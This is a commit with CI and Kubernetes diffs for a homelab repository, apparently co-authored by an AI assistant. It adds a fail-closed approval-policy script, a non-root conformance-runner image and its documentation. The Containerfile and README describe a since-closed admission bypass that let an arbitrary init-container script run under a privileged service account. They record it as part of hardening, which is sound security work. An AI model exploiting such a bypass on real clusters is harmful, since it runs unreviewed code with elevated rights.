docs(auth): record what PR #30's CI actually ran, not what its tick said

Read the commit's /statuses rather than the check mark:

  gate / gate (pull_request)         state=success  desc='Successful in 1m41s'
  gate / conformance (pull_request)  state=success  desc='Has been skipped'

The second is CLAUDE.md 2b's trap in the wild -- a SKIPPED Gitea job reports
state=success, so that green tick certifies nothing. It agrees exactly with
the local rc 3: the offline L0/L1 subset passed, L2/L3 never ran. Anyone
reading the PR's check mark alone would conclude the opposite.

Also re-measured branch protection instead of trusting the table in CLAUDE.md:
GET /repos/.../branches/main -> protected=true, user_can_push=false.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/gate.yml

@@ -131,6 +131,10 @@ jobs:
           # merging. Green here means the token resolved and the live Gitea matched the
           # declaration in infra/gitea/expected-branch-protection.json.
           REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

CLAUDE.md

@@ -14,7 +14,28 @@ There is no other path. Specifically:
 
 - **Do not `git push origin main`.**
 - **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
-- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
 - **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
   anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
 

ci/Makefile

@@ -35,6 +35,9 @@ decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
 gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
 	@./gitea-settings.sh
 

ci/approval-policy.sh

@@ -0,0 +1,117 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
+#      non-author APPROVED review is present
+#   1  sensitive paths touched without such a review, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
+exit 1

ci/gate.sh

@@ -113,6 +113,7 @@ run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
 run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
@@ -190,6 +191,20 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
 # gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
 # runner registration). A FAIL is real drift and always blocks -- that is the whole point.
 # A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -25,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
